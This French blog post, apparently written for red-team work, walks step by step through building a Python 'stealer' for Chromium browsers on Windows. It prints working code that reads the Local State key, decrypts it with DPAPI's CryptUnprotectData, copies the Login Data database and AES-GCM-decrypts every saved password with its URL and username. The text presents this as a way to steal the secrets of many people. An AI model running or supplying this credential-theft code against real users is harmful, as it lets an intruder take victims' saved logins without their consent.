Extraction de secrets des navigateurs basés sur Chromium avec la DPAPI.
TL;DR
Nous utiliserons la DPAPI pour déchiffrer les secrets des navigateurs basés sur Chromium sur les systèmes Windows. Vous pourrez retrouver un script un peu plus peaufiné et écrit en Rust ici.
Qu’est-ce que la DPAPI ?
La DPAPI (Data Protection API) est un mécanisme de sécurité utilisé dans les systèmes Windows pour la gestion des secrets. Elle permet la gestion et la protection des informations sensibles telles que les identifiants d’utilisateur, les mots de passe ou les clés de chiffrement.
Fonctionnement de la DPAPI
Les deux fonctions principalement utilisées sont :
CryptProtectData()
: Permet aux applications de Windows de sécuriser des informations comme des mots de passe, des clés de chiffrement, ou d’autres données privées.CryptUnprotectdData()
: Permet de déchiffrer des données précédemment protégées parCryptProtectData()
.
Un blob, c’est quoi ?
Les deux fonctions précédentes prennent en paramètre des data blob. Un Data Blob sous Windows est un type de champ de données qui permet de stocker des quantités massives de données non structurées de façon optimisée.
Pourquoi la DPAPI ?
La DPAPI permet de chiffrer les secrets des navigateurs basés sur Chromium et sur les systèmes Windows. Aujourd’hui, la plupart des navigateurs sont basés sur Chromium. Google Chrome, Opera, Brave (le GOAT), Microsoft Edge, Vivaldi et plein d’autres… Les navigateurs Chromium et les systèmes Windows étant les plus répandus, développer un stealer les ciblant permettrait de voler les secrets d’un grand nombre de personnes, ce qui serait particulièrement efficace pour les missions Red Team.
Le Stealer
Pour démontrer l’utilisation de la DPAPI pour les secrets des navigateurs Chromium, nous allons développer ensemble un stealer en python. Voici les quatre principales étapes du script :
- Récupérer la clé : Extraire la clé de chiffrement à partir du fichier
Local State
du navigateur au format JSON. Cette clé est utilisée pour déchiffrer les mots de passe stockés. C’est à ce moment que nous utiliserons la DPAPI, pour déchiffrer la clé et l’utiliser. - Accéder à la base de données SQLite : Localiser et copier la base de données
Login Data
qui contient les secrets chiffrés. - Extraire le texte chiffré : Pour chaque entrée dans la base de données, extraire la chaîne de caractères chiffrée qui contient le mot de passe.
- Déchiffrer le mot de passe : Utiliser la clé déchiffrée et l’algorithme AES pour déchiffrer le mot de passe.
La clé
Les clés étant chiffrées en utilisant un algorithme de chiffrement symétrique, AES, nous allons développer une fonction qui permet de récupérer cette clé pour déchiffrer les secrets. La clé est stockée en base64 dans l’objet os_crypt
et sous la clé encrypted_key
. La clé, une fois décodée, possède un suffixe (DPAPI
) qu’il faut retirer.
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State" % (os.environ['USERPROFILE']))
def get_secret_key(): try: with open(CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f: local_state = f.read() local_state = json.loads(local_state) secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) secret_key = secret_key[5:] secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1] return secret_key except Exception as e: print("%s" % str(e)) print("[ERR] Chrome secretkey cannot be found") return None
Extraction des secrets de la base de données SQLite
La prochaine étape est de se connecter à la base de données SQLite et de récupérer les informations souhaitées. La base de données est le fichier Login Data
que nous copierons dans le fichier Loginvault.db
.
Pour récupérer les secrets souhaités nous utiliserons la requête suivante:
SELECT action_url, username_value, password_value FROM logins
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
def get_db_connection(chrome_path_login_db): try: shutil.copy2(chrome_path_login_db, "Loginvault.db") return sqlite3.connect("Loginvault.db") except Exception as e: print("%s"%str(e)) print("[ERR] Chrome database cannot be found") return None
if(secret_key and conn): cursor = conn.cursor() cursor.execute("SELECT action_url, username_value, password_value FROM logins") for index,login in enumerate(cursor.fetchall()): url = login[0] username = login[1] ciphertext = login[2] decrypted_password = decrypt_password(ciphertext, secret_key)
Déchiffrer les secrets
Une fois le mot de passe chiffré récupéré, nous allons le déchiffrer en utilisant l’algorithme AES. Pour ça, nous utiliserons la fonction decrypt_password
prenant en paramètre le mot de passe chiffré (ciphertext
) et la clé (secret_key
) nécessaire pour le déchiffrement. On commence par extraire le vecteur d’initialisation (initialisation_vector
) et le mot de passe chiffré (encrypted_password
) à partir du texte chiffré. Le vecteur d’initialisation est obligatoire pour le mode GCM. La fonction generate_cipher
avec la clé et le vecteur d’initialisation en paramètre, permet de créer un nouvel objet de chiffrement AES configuré en mode GCM. Cet objet est utilisé par la fonction decrypt_payload
pour déchiffrer le mot de passe.
def decrypt_payload(cipher, payload): return cipher.decrypt(payload)
def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key) -> str: try: initialisation_vector = ciphertext[3:15] encrypted_password = ciphertext[15:-16] cipher = generate_cipher(secret_key, initialisation_vector) decrypted_pass = decrypt_payload(cipher, encrypted_password) decrypted_pass = decrypted_pass.decode() return decrypted_pass except Exception as e: print("%s"%str(e)) print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.") return ""
← Back to blog